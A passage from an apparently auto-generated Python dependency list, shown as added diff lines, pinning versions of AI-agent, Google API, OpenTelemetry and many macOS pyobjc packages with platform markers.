'x86_64' and sys_platform == 'linux' +browser-use-sdk==2.0.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' +bubus==1.5.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cachetools==7.1.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' +caio==0.9.25 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cdp-use==1.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +certifi==2025.8.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cffi==2.0.0 ; platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' +chardet==5.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +charset-normalizer==3.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +click==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cloudpickle==3.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cryptography==50.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cyclopts==4.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +deprecation==2.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +distro==1.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +dnspython==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +docstring-parser==0.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +docutils==0.22.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +email-validator==2.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +exceptiongroup==1.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fakeredis==2.34.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fastmcp==3.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fastuuid==0.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +filelock==3.20.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +frozenlist==1.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fsspec==2025.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +func-timeout==4.3.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-core==2.26.0 ; python_full_version < '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-core==2.31.0 ; python_full_version >= '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-python-client==2.184.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth==2.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth-httplib2==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth-oauthlib==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-genai==1.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +googleapis-common-protos==1.70.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +groq==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +grpcio==1.76.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +h11==0.16.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +hf-xet==1.1.10 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpcore==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httplib2==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpx==0.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpx-sse==0.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +huggingface-hub==0.35.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +idna==3.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' +importlib-metadata==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +inquirerpy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-classes==3.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-context==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-functools==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jeepney==0.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jinja2==3.1.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jiter==0.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +joserfc==1.7.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +json-repair==0.60.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonref==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema==4.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema-path==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema-specifications==2025.9.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +keyring==25.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +libtmux==0.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +litellm==1.93.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lmnr==0.7.60 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lmnr-claude-code-proxy==0.1.23 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lupa==2.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lxml==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markdown-it-py==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markdownify==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markupsafe==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +mcp==1.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +mdurl==0.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +more-itertools==10.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +multidict==6.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +oauthlib==3.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +ollama==0.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +openai==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +openapi-pydantic==0.5.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-api==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-common==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-grpc==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-http==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-instrumentation==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-instrumentation-threading==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-proto==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-sdk==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-semantic-conventions==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-semantic-conventions-ai==0.4.13 ; platform_machine == 'x86_64' and sys_platform == 'linux' +orjson==3.11.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' +packaging==26.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pathable==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pfzy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pillow==12.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +platformdirs==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +portalocker==2.10.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +posthog==6.7.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' +prompt-toolkit==3.0.52 ; platform_machine == 'x86_64' and sys_platform == 'linux' +propcache==0.4.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +proto-plus==1.26.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +protobuf==6.33.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +psutil==7.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +py-key-value-aio==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyasn1==0.6.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyasn1-modules==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pycparser==2.23 ; implementation_name != 'PyPy' and platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' +pydantic==2.12.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pydantic-core==2.41.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pydantic-settings==2.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pygments==2.20.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyjwt==2.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyobjc==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-core==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-accessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-accounts==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-addressbook==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-adservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-adsupport==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applescriptkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applescriptobjc==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applicationservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-apptrackingtransparency==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-audiovideobridging==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-authenticationservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-automaticassessmentconfiguration==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-automator==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avfoundation==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avrouting==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-backgroundassets==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-browserenginekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-businesschat==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-calendarstore==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-callkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-carbon==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cfnetwork==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cinematic==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-classkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cloudkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cocoa==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-collaboration==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-colorsync==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-contacts==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-contactsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreaudio==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreaudiokit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corebluetooth==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coredata==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corehaptics==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corelocation==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremedia==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremediaio==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremidi==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreml==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremotion==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corespotlight==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coretext==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corewlan==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cryptotokenkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-datadetection==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-devicecheck==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-devicediscoveryextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-dictionaryservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-discrecording==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-discrecordingui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-diskarbitration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-dvdplayback==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-eventkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-exceptionhandling==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-executionpolicy==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-extensionkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-externalaccessory==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fileprovider==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fileproviderui==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-findersync==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fsevents==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fskit==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamecenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamecontroller==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gameplaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-healthkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-imagecapturecore==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-inputmethodkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-installerplugins==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-instantmessage==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-intents==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-intentsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iobluetooth==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iobluetoothui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iosurface==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-ituneslibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-kernelmanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-latentsemanticmapping==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-launchservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-libdispatch==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-libxpc==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-linkpresentation==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-localauthentication==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-localauthenticationembeddedui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mailkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mapkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaaccessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-medialibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaplayer==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediatoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metal==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalfx==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalperformanceshaders==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalperformanceshadersgraph==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metrickit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mlcompute==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-modelio==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-multipeerconnectivity==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-naturallanguage==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-netfs==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-network==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-networkextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-notificationcenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-opendirectory==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-osakit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-oslog==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-passkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-pencilkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-phase==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-photos==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-photosui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-preferencepanes==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-pushkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-quartz==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-quicklookthumbnailing==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-replaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-safariservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-safetykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-scenekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screencapturekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screensaver==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screentime==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-scriptingbridge==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-searchkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-security==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityfoundation==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityinterface==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityui==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sensitivecontentanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-servicemanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sharedwithyou==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sharedwithyoucore==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-shazamkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-social==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-soundanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-speech==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-spritekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-storekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-symbols==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-syncservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-systemconfiguration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-systemextensions==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-threadnetwork==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-uniformtypeidentifiers==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-usernotifications==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-usernotificationsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform 